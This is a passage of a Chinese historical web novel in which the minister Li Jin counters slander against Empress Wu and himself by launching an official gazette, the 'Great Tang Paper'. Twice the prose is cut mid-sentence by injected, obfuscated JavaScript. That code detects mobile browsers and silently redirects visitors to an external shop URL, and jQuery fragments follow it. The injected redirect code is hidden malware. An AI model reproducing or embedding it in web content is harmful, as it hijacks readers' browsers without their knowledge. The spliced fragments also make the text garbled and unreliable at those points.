天后会如何应对?以她的性格和手段,绝不会坐视不理。血腥的清洗?大范围的抓捕?那只会让流言变得更加惊悚,让反对者更加同仇敌忾,也让那些原本中立的人心生恐惧和反感。这不是上策。
那么,自己呢?除了被动防御、暗中调查,还能做什么?如何从根本上,扭转这种被流言肆意攻击的被动局面?如何掌握**的主动权,发出自己的声音,而不仅仅是依赖官方邸报和市井传闻?
一个模糊的念头,在李瑾心中渐渐成形。或许,是时候建立一种更直接、更高效、更能覆盖广泛人群的官方发声渠道了。不仅仅是对上层官员的邸报,也不仅仅是靠说书人和民间传言,而是一种可以定期、公开、面向更多识字人群(甚至可以通过宣读,面向不识字的人群)传播朝廷政令、批驳谣言、引导**的媒介……
但这个念头还很不成熟,需要仔细筹划,更需要合适的时机和理由。
眼下,他必须首先应对这场污名化的风暴。他相信武则天也会采取行动。这场由“洛水瑞石”引发的意识形态之战,在对方祭出“流言”这件阴毒武器后,进入了更加凶险、也更加龌龊的新阶段。
他仿佛能听到,那华丽而脆弱的“盛世”表象之下,冰层碎裂的细微声响。而这流言,便是第一道清晰的裂痕。
第213章 瑾办大唐报
洛阳宫城,紫宸殿侧殿。殿内气氛凝重,熏炉中升起的青烟都仿佛带着沉滞的寒意。皇帝李治斜倚在御榻上,面色比往日更显灰败,眼窝深陷,但那双眼睛,此刻却闪烁着一种混合了惊疑、愤怒与极度受伤的光芒,死死盯着御案上一份由内侍省密探查报的、关于市井流言的汇总摘要。他的手,枯瘦而布满老人斑,紧紧攥着榻边的锦褥,手背青筋毕露。
武则天坐在御榻旁不远处的锦墩上,一身赭黄常服,凤目低垂,手中捏着一串沉香木念珠,指尖缓缓拨动,脸上看不出喜怒,只有一种深潭般的平静。但这平静之下,是足以冻结血液的冰冷风暴。
李瑾则立于御阶之下,躬身肃立。他早已从自己的渠道得知了流言的全貌,甚至比皇帝、天后看到的这份摘要更为详尽、也更为不堪。此刻,他眼观鼻,鼻观心,等待着即将到来的雷霆之怒,或是更深的猜忌。
“混账!无耻!下作!”李治猛地将那叠密报摔在地上,胸膛剧烈起伏,发出一阵撕心裂肺的咳嗽,苍白的脸上涌起病态的红潮。他挣扎着想坐直身体,却力气不济,只能颤抖着手指,指向殿外,声音嘶哑,充满了被侮辱、被背叛的痛楚,“朕……朕还没死!他们……他们就敢如此污蔑天后!污蔑梁国公!污蔑朕的肱骨之臣!这是要离间朕的君臣!要毁我大唐的柱石!其心可诛!其心可诛啊!”
剧烈的咳嗽再次打断了他的话,旁边的内侍慌忙上前,递上温水,却被皇帝烦躁地挥手打开,瓷盏摔在地上,四分五裂,清水溅了一地。
“陛下息怒,保重龙体要紧。”武则天终于开口,声音平静,却带着不容置疑的力量。她放下念珠,起身走到御榻边,亲自接过内侍重新奉上的温水,递到皇帝唇边,动作温柔,眼神却锐利如刀,扫过殿中噤若寒蝉的侍从。李治在她的注视下,勉强喝了两口,咳嗽才渐渐平息,但胸口依旧起伏不定,眼中怒意与痛苦交织。
“媚娘……李爱卿……”李治喘息着,目光在武则天和李瑾之间逡巡,带着一种近乎孩童般的委屈与不解,“他们……他们怎能如此?你们二人,是朕最信任、最倚重之人!一个为朕打理朝政,夙兴夜寐;一个为朕开疆拓土,出生入死!没有你们,哪有今日之大唐盛世?他们……他们竟然用如此龌龊之言,中伤你们!这……这不仅是辱你们,更是辱朕!辱我大唐啊!”
“陛下明鉴。”李瑾深深躬身,声音沉静而恳切,“市井流言,荒诞不经,乃宵小之辈,慑于陛下天威,天后贤明,臣等微功,无计可施,故出此下作手段,欲以秽语乱人心,离间君臣,动摇国本。陛下万万不可为此等无稽之谈,伤了龙体,堕入其彀中。”
武则天也缓缓道:“陛下,清者自清,浊者自浊。臣妾与梁国公,行得正,坐得直,一心只为陛下,为大唐江山。些许宵小流言,如蚍蜉撼树,犬吠日轮,何足挂齿?陛下若为此动怒伤身,岂不正中那些奸佞下怀?”
她的语气平静无波,仿佛在说一件与己无关的小事。但李瑾能听出,那平静之下压抑的怒火与杀机。天后越是如此,说明她对此事的重视程度越高,后续的反击也会越凌厉。
“话虽如此……可人言可畏啊!”李治捶了一下榻沿,痛心疾首,“如今两京之地,这污言秽语传得沸沸扬扬,百姓无知,最易受其蛊惑!长此以往,天后清誉受损,梁国公威信何在?朝廷体统何在?必须严查!一查到底!凡传播者,造谣者,主使者,一律严惩不贷!御史台、大理寺、金吾卫,都给朕去查!宁可错杀,不可错放!”
李治的反应在李瑾意料之中。皇帝身体衰弱,心思却愈发敏感多疑,对流言中涉及武则天“不贞”的部分,尤其感到被冒犯和背叛,这触及了他作为帝王和丈夫的双重尊严。盛怒之下,要求严查、严惩,乃是必然。
“陛下,严查自然是要查的。”武则天接过话头,语气依旧平稳,却带着一种深思熟虑的冷静,“然则,此类流言,如同污水泼地,最难清理。若大张旗鼓,兴狱牵连,只怕会闹得人心惶惶,流言非但不会止息,反而会愈传愈烈,甚或演变出更多离奇版本。且幕后主使,必然隐藏极深,难以轻易揪出。即便抓几个传播谣言的市井之徒,杀了,也于事无补,反显得朝廷心虚,以杀戮堵天下悠悠之口。”
她顿了顿,凤目转向李瑾,目光中带着征询,也带着一丝不易察觉的审视:“梁国公,你以为如何?此事,当如何应对,方能既惩奸佞,又安人心,还不至扰动朝野?”
来了。李瑾心中暗凛。天后将此难题抛给自己,既是在征询意见,也是在试探自己的态度,甚至可能想看看自己是否会因流言而心生怨怼,或急于撇清。
他再次躬身,不慌不忙道:“天后娘娘所言甚是。流言如风,堵不如疏。严刑峻法,可惩于已然,难禁于未然。且易激起物议,反伤陛下仁德之名。臣以为,应对此事,当明暗结合,标本兼治。”
“哦?何为明,何为暗?何为本,何为标?”武则天目光微凝,似乎有了些兴趣。
“明者,堂堂正正,以正视听。”李瑾抬起头,目光清澈,迎向御榻上的皇帝和旁边的天后,“市井流言之所以有市场,一则因其隐秘猎奇,满足愚民窥私之欲;二则因其传播迅捷,官府邸报、朝廷政令,难以迅速、广泛地抵达闾巷之间,致使真相不明,谬种流传。故而,臣有一愚见,或可解此困局。”
“讲。”李治也被吸引了注意,暂时压下了怒火。
“臣请奏,于两京及天下各道治所,创设‘官报’。”李瑾缓缓道,吐出他深思熟虑已久的构想,“此报不同于仅供官员传阅之邸报,亦不同于民间私相传抄之小报。其内容,由朝廷选定,或为陛下诏令,或为朝廷新政,或为边疆捷报,或为忠臣良吏事迹,或为农时天象,或为批驳谬论、以正视听之文。以雕版刷印,定期发布,发往各州县,由州县官府于闹市、城门、驿站等处张榜公布,并选派书吏诵读讲解,务使士农工商,皆知朝廷政令,明辨是非,不为流言所惑。”
他稍微停顿,观察皇帝和天后的反应。李治面露思索,武则天则目光灼灼,显然在快速权衡。
李瑾继续道:“譬如眼下,针对污蔑天后与臣之流言,官报之上,可不必直接辩驳——那反而显得心虚,落入对方圈套。只需大张旗鼓,刊登陛下体恤臣工、信任有加的旨意;报道天后每日批阅奏章至深夜、忧劳国事的事迹;详述臣近日忙于筹划边务、检阅军械之实情。再辅以历代贤后辅政、明君信臣之典故,晓谕百姓,何为正道,何为邪说。同时,可刊登些劝农劝学、褒奖孝悌、揭露奸商劣行等贴近民生的内容,使官报不单为朝廷喉舌,亦能为百姓日用提供便利,如此,百姓方乐于观看、聆听,官方声音才能真正入耳入心。此乃‘明’的一手,以正大光明之信息,挤压流言蜚语之空间。”
“那‘暗’的一手呢?”武则天追问,语气中已带上了一丝激赏。她敏锐地意识到,李瑾这个“官报”的想法,绝不仅仅是为了应对眼前流言,更是一个掌握**、教化民心、巩固统治的绝佳工具。这比单纯的严刑峻法,高明何止十倍!
“暗者,”李瑾声音压低了些,带上一丝肃杀,“自然是着有司暗中查访,顺藤摸瓜,揪出幕后主使及首要传播者。但不动声色,秘密进行,一旦证据确凿,则依律严惩,并择其罪大恶极、证据确凿者,于官报之上公布其罪行,以儆效尤。如此,既惩办了元凶,又不至扩大化,引起不必要的恐慌,还能彰显朝廷法度,威慑后来者。明暗结合,方可使流言如雪遇朝阳,不攻自破,消散于无形。”
“至于‘本’,”李瑾看向脸色稍霁的皇帝李治,语气恳切,“则在陛下与天后的信任,在朝堂的团结,在国事的昌明。只要陛下龙体康健,天后贤明辅政,朝廷上下戮力同心,边关稳固,仓廪充实,百姓安居,则些许宵小流言,何足道哉?纵有波澜,亦难撼大唐江山之稳固。此乃固本培元,使流言无隙可乘。”
“而‘标’,便是眼前这污人清誉、乱人心术的流言本身。以官报正视听,以暗探查元凶,双管齐下,可治其标。”
一番话,条理清晰,思虑周全,既有应对当前危机的具体策略,又有掌控长远**的宏大构想,更暗含了对皇帝、天后的恭维与对朝廷团结的期许。李治听得连连点头,脸上的怒色渐渐被一种混合了欣慰和依赖的神情取代。
“好!好一个‘明暗结合,标本兼治’!李爱卿真乃社稷之良臣,谋国之栋梁!”李治激动之下,又想坐起,被武则天轻轻按住。他喘了口气,看向武则天,“媚娘,你以为梁国公此议如何?”
武则天缓缓拨动了一下念珠,看着李瑾,目光深邃:“梁国公此议,老成谋国,思虑深远。创设‘官报’,宣示朝廷德政,批驳奸邪谣言,教化百姓,凝聚人心,确是一举多得之良策。不仅可解眼下之困,于国朝长治久安,亦大有裨益。臣妾以为,可行。”
她顿了顿,补充道:“只是,此事非同小可。这‘官报’由何人主办?内容如何审定?如何确保能迅速、准确传递各州县?所需人力、物力几何?皆需详加筹划,定下章程,方可行事。且此报既为‘官报’,代表朝廷颜面,主事之人,必须忠谨可靠,老成持重,又需通晓文墨,明辨是非。”
“天后思虑周详。”李瑾立刻接口,“臣斗胆**,愿领此事之初创。臣可荐举数位德才兼备、熟知政务、文笔清通的官员,组成报局,专司其职。报局直属政事堂,或由陛下、天后指定重臣督领。每期内容,由报局草拟,关键文章,尤其是涉及朝政大计、批驳流言者,需呈送陛下、天后御览钦定,或由政事堂诸公合议通过,方可刊印发布。至于传递,可利用现有驿传系统,增设‘报驿’之责,务必迅速。初始可于两京试行,若行之有效,再逐步推广至各道。所需费用,可从臣之封邑收益中先行支应,或由户部划拨专项,力求不扰民,不增赋。”
李瑾主动请缨,并提出了具体可行的操作方案,甚至愿意自掏腰包启动,既显示了担当,也最大程度打消了皇帝和天后可能的疑虑——毕竟,掌握这样一个**喉舌,权力巨大。
武则天深深看了李瑾一眼,眼中闪过一丝复杂难明的神色。她明白李瑾的用意,也清楚这“官报”一旦办成,对掌控**、压制反对声音的巨大作用。这工具,她自然也想要掌握在自己手中。但眼下,流言主要攻击的是她与李瑾两人,由李瑾出面主导创设,反击流言,名正言顺。且李瑾主动提出将最终审定权归于皇帝、天后或政事堂,也表明了他并无擅权之意。
“梁国公忠心可嘉,思虑亦周全。”武则天缓缓点头,转向李治,“陛下,臣妾以为,可准梁国公所奏。命梁国公总理‘官报’创设事宜,报局暂设于梁国公所领之弘文馆下,便于调集文士,拟定章程。一应文稿,凡涉朝政大计、人事褒贬、批驳流言者,需经政事堂合议,呈陛下与臣妾御览后,方可刊行。先于两京试行,每旬一期,视效果再行推广。所需费用,先从内帑支取,不必动用国库,亦不劳梁国公破费。”
她轻描淡写地,将经费来源从李瑾的封邑转到了皇帝内库,并将审定程序明确为“政事堂合议”和“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053764|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帝后御览”,既显示了支持,也确保了最终的控制权不会旁落。
李治自然无不应允,甚至有些迫不及待:“好!就依媚娘和梁国公所言!此事,梁国公即刻去办!务必尽快将这‘官报’办起来,将那些污言秽语,给朕压下去!朕要看看,是那些宵小的嘴快,还是朝廷的‘官报’快!”
“臣,领旨!”李瑾肃然躬身。他知道,这第一步,成了。虽然天后期望通过控制审定权来掌握这份即将诞生的**武器,但具体操办、人员选用、日常运作,乃至初始内容的方向,主动权仍在自己手中。这已是最好的开局。
离开紫宸殿,走出宫门,初夏午后的阳光有些刺眼。李瑾微微眯起眼睛,感受着阳光照在脸上的暖意,也感受着背后那道来自深宫、意味难明的目光。
“大唐报……”他心中默念着这个即将问世的新生事物的名字。这不仅仅是一份应对流言的工具,更是他试图在“洛水瑞石”所代表的天命神权**,和市井阴暗流言之间,开辟出第三条道路的尝试——一条以相对务实、理性的官方信息,来引导**、凝聚共识、巩固统治的道路。这条路注定不会平坦,会遭遇来自各方的阻力、猜忌甚至扭曲,但至少,他有了一个发声的平台,一个不再是完全被动应对,而是可以主动设置议题、引导**的阵地。
回到府中,他立刻召来了几位心腹幕僚,以及几位他早已留意、文笔扎实、思想相对开明、且对朝中虚浮之风有所不满的中下层官员和文士。其中,有前些年因上书直言时弊而不得升迁的进士,有精通实务、文风朴实的户部老吏,甚至有两位对市井百态、民间疾苦颇为了解的说书人出身的落魄文人。
“从今日起,诸位暂离本职,于弘文馆旁设一‘报局’,专司编纂刊行《大唐报》。”李瑾没有废话,开门见山,“我们的目的,是要办一份让士农工商都能看懂、愿意看、看了有用的‘官报’。内容要实,文风要朴,既要传达朝廷政令德音,也要反映民间实情疾苦;既要褒扬忠孝节义,也要针砭时弊陋**;既要报道边疆捷报,也要介绍农时技艺。眼下第一要务,是批驳近日市井流传的、关于天后与本公的那些荒诞无稽的污蔑之词。但记住,不是直接辩驳,而是用事实说话,用其他更引人关注、更贴近民生的内容,去挤占流言的空间,同时潜移默化地传递正确的观念。”
他详细阐述了自己的构想:设置“朝廷旨要”、“地方政事”、“边关军情”、“良吏风范”、“市井百业”、“农桑时讯”、“驳讹正谬”等栏目。要求文章短小精悍,语言通俗易懂,必要时可配以简单图示。每旬一期,雕版印刷,通过驿站系统,迅速发往两京各坊市、城门、集市、茶馆酒肆等人员**处,张榜公布,并雇请识字的闲散人员或说书先生,在榜前诵读讲解,务求覆盖更多人群,尤其是那些不识字但喜听传闻的百姓。
“第一期,重点报道陛下龙体渐安,勤于政事;天后夙夜在公,批阅奏章常至子夜;本公近日忙于核查陇右、安东防务,与兵部、将作监官员商议军械更新事宜,无暇他顾。同时,刊载一篇劝农文章,介绍江南新式水车;一篇介绍安西都护府最新击退吐蕃小股扰边、斩获颇丰的捷报(此事属实,但规模不大);再有一篇,讲述前朝某贤后辅政、君臣相得、国泰民安的故事,不必点名,读者自知其意。”李瑾条分缕析,思路清晰,“流言之事,一字不提,但通篇看下来,明眼人自知其虚妄。”
他环视众人,目光锐利:“诸位,此事关乎朝廷体统,关乎本公与天后清誉,亦关乎能否为天下开一务实、清正之言路。望诸位尽心竭力,务必使这《大唐报》一炮而响,成为祛邪扶正、联通朝野之利器!”
众人领命,皆感责任重大,又觉此事颇新,大有可为,个个摩拳擦掌,准备大干一场。
李瑾站在窗前,看着幕僚和文士们匆匆离去筹备的背影,心中并无太多轻松。创办《大唐报》,只是走出了第一步。如何确保其内容不沦为单纯的**?如何在帝后、政事堂的审查下,保持一定的务实性和批判性?如何应对可能来自许敬宗、李义府等人将报纸变成其派系工具的企图?如何让这份报纸真正被百姓接受、信任?这些都是未知的挑战。
但无论如何,武器已经握在手中。接下来的**战场,他不再仅仅是防守方了。
就在《大唐报》紧锣密鼓筹备之际,洛阳宫城内,武则天对污蔑流言的“暗”手反击,也以她一贯的雷厉风行和狠辣果决,悄然展开。数日之内,洛阳、长安两市井中几个传播流言最为活跃的“消息灵通人士”和茶楼酒肆的说书人,突然无声无息地消失。接着,一位因贪贿被罢黜、心怀怨望的前礼部员外郎,在其城外别业“暴病而亡”。几乎同时,一位与某位关陇世家过从甚密、经常在诗文聚会中“感慨”时政的闲散文人,**与一桩陈年旧案有涉,锒铛入狱。行动迅速、隐秘,且针对的皆是些边缘人物或确有不法之辈,并未大规模牵连,也未公开与流言直接挂钩,但其中透露出的警告意味,足以让那些藏在幕后、或暗中推波助澜的人,脊背发凉,暂时收敛。
明处,《大唐报》在积极筹备;暗处,清洗的铡刀已然落下。李瑾与武则天,这两位被流言捆绑在一起的帝国最高掌权者之二,以一种无需言说的默契,各自挥出了应对的拳锋。一场围绕**和意识形态的攻防战,在“洛水瑞石”的“天启”光辉与污秽流言的阴影交织下,正式拉开了帷幕。而刚刚诞生的《大唐报》,将在这场没有硝烟的战争中,扮演怎样的角色,尚未可知。
第214章 文章定是非
麟德三年六月朔,一个寻常而又不寻常的清晨。在长安、洛阳两京,以及周边数个大州的治所,一种前所未有的物事,悄然出现在各城门口、市集要道、驿站外墙,甚至一些有名的茶楼酒肆的醒目处。
那是一张张用上好楮纸印制、约莫两张《千字文》大小的纸张,顶端是醒目的三个楷体大字——《大唐报》。其下,分门别类,排列着一篇篇文字,字迹清晰,版面齐整,在晨光中散发着淡淡的墨香。
起初,只有零星几个识字的行人,好奇地驻足观看。他们低声念出上面的文字:
“朝廷旨要:陛下圣体渐安,日览奏章十数,常于子夜召对宰辅,咨以政事……”
“天后懿德:自春徂夏,天后佐理万机,每奏章至,披阅至深夜,朱批累牍,未尝假手他人。洛水瑞石现,天后谦不受贺,但言‘此陛下仁德感天,非妾之功’……”
“边关军情:陇右道安西都护府奏报,五月中,吐蕃游骑数百犯我于阗镇,守将王方翼率轻骑出塞邀击,斩首百余,获其辎重,余者溃散。陛下谕:边将忠勇可嘉,着兵部议功……”
“农桑时讯:江南道苏州刺史奏,新制龙骨水车,翻车便捷,一车可灌田五十亩,已绘图呈上。着工部核查,若果便利,当颁行天下,以利农事……”
“市井百业:洛阳南市,有奸商以次绢充上品,欺行霸市,为河南府所查,枷号示众,罚没家产。谕百姓,交易当以诚,勿为奸佞所惑……”
“良吏风范:同州冯翊县令张柬之,在任三年,劝农兴学,**冤狱,去岁大旱,自捐俸禄设粥厂,全活甚众。考功评为上上,擢为监察御史……”
……
围观的人渐渐多了起来。识字的士子、商贾、小吏,饶有兴致地逐条阅读,不时低声议论。不识字的贩夫走卒、市井百姓,则围着报栏,好奇地张望,或拉扯着识字人的衣袖询问:“那纸上写的啥?”“官府又出啥新告示了?”
这时,便有早得了吩咐、或临时被几个铜钱雇来的识字人(其中不少是科场失意、在街头替人写信读信的穷书生),清清嗓子,开始高声朗读,并加以讲解:
“各位父老乡亲,这是朝廷新出的《大唐报》!每十天出一期,上面写的都是朝廷的新消息、皇上的旨意、天后的德行、边疆的胜仗、还有咱老百姓用得上的农事、市价、还有好官坏官的事儿!”
朗读声吸引了更多人。人们聚拢过来,伸长脖子听着。当听到皇帝身体见好、勤于政事时,不少老人点头称善,口诵“陛下保重”。听到天后批阅奏章到深夜,一些妇人发出啧啧惊叹。听到边疆打了胜仗,男人们面露喜色。听到新式水车和奸商受罚,则与自身息息相关,讨论得更加热烈。
“这《大唐报》好!比那官府的布告详细多了!”
“是啊,天后娘娘真是辛苦,日夜操劳。”
“吐蕃人又挨揍了!王将军威武!”
“这龙骨水车要真那么好用,咱地里浇水可省大事了!”
“那奸商活该!就该这么治他们!”
“张县令是个好官啊,升御史了!”
最初的几期《大唐报》,完全遵循了李瑾定下的基调:绝口不提市井流言,而是用大量正面、务实、贴近民生的信息,填满版面,抢占**空间。报道皇帝龙体安康、勤政,天后夙夜匪懈、谦逊,梁国公忙于边务(甚至详细列出了李瑾近日与兵部、将作监官员开会商议军械更新、核查各地粮储的具体日期和事项),用铁一般的事实日程,无声地驳斥了“帝后失和”、“天后与梁国公私会”的荒谬谣言。报道边疆小胜、良吏擢升、新农具推广、惩处奸商,则满足了百姓对“国泰民安”、“**”的基本期待,也展示了朝廷“在做实事”的形象。
为了让报纸更具可读性,李瑾还授意加入了少量经过审核的、各地奇闻轶事(如某地瑞麦生双穗、孝子寻亲千里等),以及一些通俗易懂的劝学、劝善小故事。他甚至亲自撰写了一篇不署名的短评,以“或问”起头,谈论“为政之道,在务实,不在虚文;在利民,不在祥瑞”,虽未点名,但明眼人一看便知是针对近来愈演愈烈的“祥瑞”虚浮之风,以及借此攻讦实干之臣的现象,发出了不同声音。此文经过政事堂合议时,引起了一些争议,但因其未直接攻击“洛水瑞石”,只是泛论,且在李瑾坚持和皇帝、天后最终首肯下,得以刊出。
《大唐报》的出现,如同一股清流,注入了被“祥瑞”颂歌和污秽流言搅得有些浑浊的**场。对于大多数普通百姓和底层士人而言,这份由朝廷官方发布、内容新鲜实在、与自身生活息息相关的报纸,远比那些玄而又玄的“天启”和荒诞不经的“宫闱秘闻”更有吸引力,也更具可信度。茶余饭后,人们开始议论《大唐报》上又说了什么新鲜事,哪里的水车好用,哪个贪官被惩处了,边关又打了什么胜仗。那些关于“二圣”的龌龊流言,虽然仍未绝迹,但在《大唐报》持续不断、铺天盖地的“事实”面前,其传播市场被明显挤压,可信度大打折扣。尤其当报纸上不时出现“梁国公今日于兵部与诸将议陇右防秋事宜”、“天后召见户部侍郎,询问江淮漕运”这类具体到日期的行程报道时,那些“深夜私会”的谣言,显得愈发苍白可笑。
当然,反对的声音和阻力也随之而来。
一些守旧官员,对将朝廷政事、官员考评(哪怕是正面报道)如此“张扬”地刊印出来,公之于众,深感不安,认为有损朝廷威严,易启“刁·民”议论之端。某位御史便上疏**,称《大唐报》“淆乱体制,将庙堂之事播于市井,使胥吏贩夫妄议朝政,非国家之福”。
对此,李瑾早有准备。他在朝会上从容应答:“《大唐报》所刊,皆为陛下德政,朝廷善举,忠良事迹,民生要务。使百姓知朝廷之所为,明陛下之仁德,晓大义之所在,何来淆乱之说?莫非陛下德政、忠良事迹,见不得光,只宜藏于深宫,不足为百姓道耶?至于妄议,防民之口,甚于防川。以正道信息导之,犹恐不及,若一味堵塞,反使谣言横生。今《大唐报》出,市井多议农时、边功、良吏,岂不比议论那些无根流言要好?”
皇帝李治近来因《大唐报》内容正面,且其中多有颂扬他“龙体渐安”、“勤政”之语,龙心甚悦,加上武则天也认为此报利于掌控**、彰显治绩,故对李瑾多有支持。那御史的**,最终不了了之。
另一些反对者,则来自许敬宗、李义府阵营内部。他们敏锐地察觉到,《大唐报》的创办和主导权掌握在李瑾手中,虽然每期关键内容需经政事堂合议和帝后御览,但日常运作、稿件遴选、版面安排,皆由李瑾及其选拔的“报局”人员把控。这等于在官方**场中,开辟了一个不完全受他们掌控的渠道。李瑾那篇“务实虚文”的短评,更让他们嗅到了不同的味道。于是,他们也开始尝试向《大唐报》渗透,或推荐“自己人”进入报局,或试图施加影响,要求在报上多刊载颂扬“洛水瑞石”、“圣母临人”的文章,甚至隐晦地攻击一些他们不喜欢的大臣。
对此,李瑾的策略是,在原则问题上不退让,在次要问题上可妥协。对于要求大量、直接颂扬“圣母”的文章,他以“报纸贵在务实,祥瑞之事已有专文颂圣,不必每期重复,以免百姓生厌”为由,适度控制数量和篇幅,更多地将“圣母”的德行与“勤政爱民”的具体事迹结合起来报道。对于试图塞人进来或干涉具体编务的,则以“报局初创,人员贵精不贵多,且陛下、天后有旨,编务需由报局据实拟定”为由,委婉而坚决地抵挡回去。同时,他也不吝在报上刊登许敬宗、李义府等人门下属下的一些政策建议(只要确实有益),或他们经办的某些“政绩”,以示合作姿态,维持表面上的和谐。
真正的较量,发生在对具体事件和人物的报道上。一期《大唐报》在“良吏风范”栏目,报道了洛阳县尉袁恕己不畏强权、秉公处置一宗涉及某关陇世家子弟的伤人案。报道本身客观平实,只是陈述事实。但见报后,该世家通过关系向报局施压,要求“更正”,称报道“有损世家清誉”。报局负责人(李瑾提拔的一位刚直不阿的御史)据理力争,坚持报道属实,不予更改。事情闹到李瑾这里。李瑾仔细核查后,确认报道无误,便顶住压力,不予理会,并在下一期报纸的“市井百业”栏目,不点名地批评了某些“豪强仗势,干预讼狱”的现象。此举虽未明指,但明眼人心知肚明,等于变相支持了袁恕己和那篇报道,也震慑了其他想干涉报纸的势力。此事传开,一些正直官员和百姓对《大唐报》的信任度大增,认为其“敢言”。
最微妙的一次交锋,是关于太子李弘的报道。太子仁孝,在士林中口碑甚佳。但东宫属官中,有人对天后掌权、对《大唐报》颇多微词。李瑾指示报局,在报道皇室活动时,给予太子适当的正面篇幅,如太子视学、祭孔、体恤民间疾苦等,报道务必客观公允,不刻意拔高,也不刻意冷落。既尊重太子地位,也避免给人留下《大唐报》是东宫喉舌或与东宫对立的印象。这种平衡的报道策略,起初让东宫一些人不满,认为不够“尊崇”,但随着时间的推移,他们发现《大唐报》对天后的报道也同样秉持“重实绩”的原则,且并未如某些流言所说,刻意打压太子,不满之声才渐渐平息。
武则天对《大唐报》的关注,远比外界看到的要深入和复杂。每期报纸的样刊,都会在第一时间呈送她的案头。她看得很仔细,不仅看那些颂扬她的文章,更看边关军情,看农桑时讯,看良吏事迹,看市井百态,甚至仔细揣摩李瑾那篇“务实虚文”的短评。她欣赏这份报纸带来的正面**效果,欣赏它巧妙化解流言的方式,也敏锐地意识到李瑾通过这份报纸,在无形中倡导着一种“重实绩、轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057384|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虚文”的价值观,这在一定程度上,与她依靠“祥瑞”和佛教理论来构建权威的路径,并不完全一致。
但她并未出手干预或争夺控制权。至少目前没有。因为她清楚地看到,《大唐报》在巩固朝廷权威、打击反对派流言、展示“二圣”治下“盛世”气象方面,作用巨大。李瑾把握的分寸很好,始终将皇帝的权威、她的“贤德”置于正面报道的核心,对“洛水瑞石”和“圣母”虽未大肆渲染,但也给予了符合礼制的尊崇。更重要的是,《大唐报》的成功运作,使得官方在**场上不再被动,她可以利用这个平台,做更多事情。比如,她授意许敬宗,以“弘扬圣母仁德”为名,在报上连续刊登了几篇描述她早年事迹、突出其“慈爱”、“英明”、“辅佐陛下”的文章,文笔优美,情节感人,效果颇佳。她也默许甚至鼓励报纸报道一些她提拔的“北门学士”的政见和成绩。
这更像是一种心照不宣的合作与博弈。李瑾掌握了报纸的日常运营和内容基调的主导权,武则天则通过最终审定和occasional的“命题作文”,确保报纸不偏离“大方向”,并为其所用。双方在“巩固现有统治、打击反对流言”这个大目标下,暂时达成了默契。
随着《大唐报》一期期发行,其影响力从两京迅速向周边州县扩散。地方官员发现,这份来自朝廷的报纸,不仅是了解中枢动态的窗口,其上的政策解读、良吏榜样、甚至惩处案例,都对治理地方有参考价值,于是也主动组织人手誊抄、宣读。一些偏远州县的士子商贾,甚至愿意花高价购买、传阅过期的大唐报,视为了解朝政、增长见识的途径。
而市井间关于天后与梁国公的污秽流言,虽然仍未绝迹,但声势已大不如前。当人们茶余饭后更热衷于讨论安西又打了胜仗、新式水车何时能推广到自己家乡、哪个贪官被报纸曝光倒了霉时,那些翻来覆去、又缺乏实据的宫闱秘闻,便渐渐失去了吸引力。更关键的是,《大唐报》通过持续不断的正面信息轰炸,在大多数人心中构建起了一个勤政的皇帝、贤德的天后、忠勇的梁国公和蒸蒸日上的大唐盛世形象。这个形象越牢固,那些阴暗的流言就越显得荒谬、可笑,甚至“不爱国”、“不盼朝廷好”。
这一日,李瑾在报局审阅新一期稿件。窗外传来市井的喧闹声,间或能听到报童清脆的叫卖声和路人聚在报栏前的议论声。他放下朱笔,揉了揉眉心。短短数月,《大唐报》从无到有,在波谲云诡的**场中站稳了脚跟,殊为不易。这不仅仅是文字的胜利,更是信息的力量,是“事实”对“谣言”的压制,是公开对隐秘的挑战。
然而,他心中并无太多轻松。他知道,反对者不会就此罢休。流言或许会暂时偃旗息鼓,但更隐蔽、更高级的攻击手段,可能正在酝酿。而《大唐报》本身,也成了一面镜子,照出了朝堂上下、宫廷内外的各方势力和他们的诉求。如何在这面镜子中,既反映真实,又不至于引发难以承受的折射;如何在帝后、太子、权臣、清流、世家之间把握平衡;如何让这份报纸不仅仅是**的工具,也能承载一些真正的谏言和不同的声音,哪怕极其有限……这些都是比应对流言更复杂、更长期的挑战。
“国公,这期的‘驳讹正谬’栏,有一篇来稿,是国子监一位司业撰写的,辨析‘牝鸡司晨’之说的荒谬,引经据典,文采斐然,但……言辞颇为犀利,直接驳斥了一些古板儒生的论调。”报局主编,那位刚直的御史,拿着一份文稿,有些犹豫地呈上。
李瑾接过,快速浏览。文章写得确实不错,逻辑清晰,论据有力,直指那些以“妇人干政”为由攻击武则天的言论。但这篇文章一旦刊出,必然会在士林引起轩然大波,支持者拍手称快,反对者则会视《大唐报》为天后张目的急先锋,攻击的矛头可能直接从流言转向报纸本身,甚至波及到他。
是刊,还是不刊?
李瑾沉吟片刻。这是一个机会,也是一个风险。直接为天后执政的合法性进行理论辩护,这比报道具体事迹更进一步,是意识形态层面的主动出击。但时机是否成熟?《大唐报》的根基是否稳固到足以承受随之而来的攻讦?
“文章先留下。”李瑾将文稿放在案头,“此事,需从长计议。或许,不必如此直白。可以约请几位大儒,撰文探讨‘贤内助’于国于家之重要性,或论‘才德’与‘性别’之本末,润物细无声,效果或更佳。”
他需要更谨慎地衡量。**的阵地已经开辟,但如何巩固,如何拓展,如何在这阵地之上,既捍卫他想捍卫的,也播下他期望的种子,这需要智慧,更需要耐心和时机。
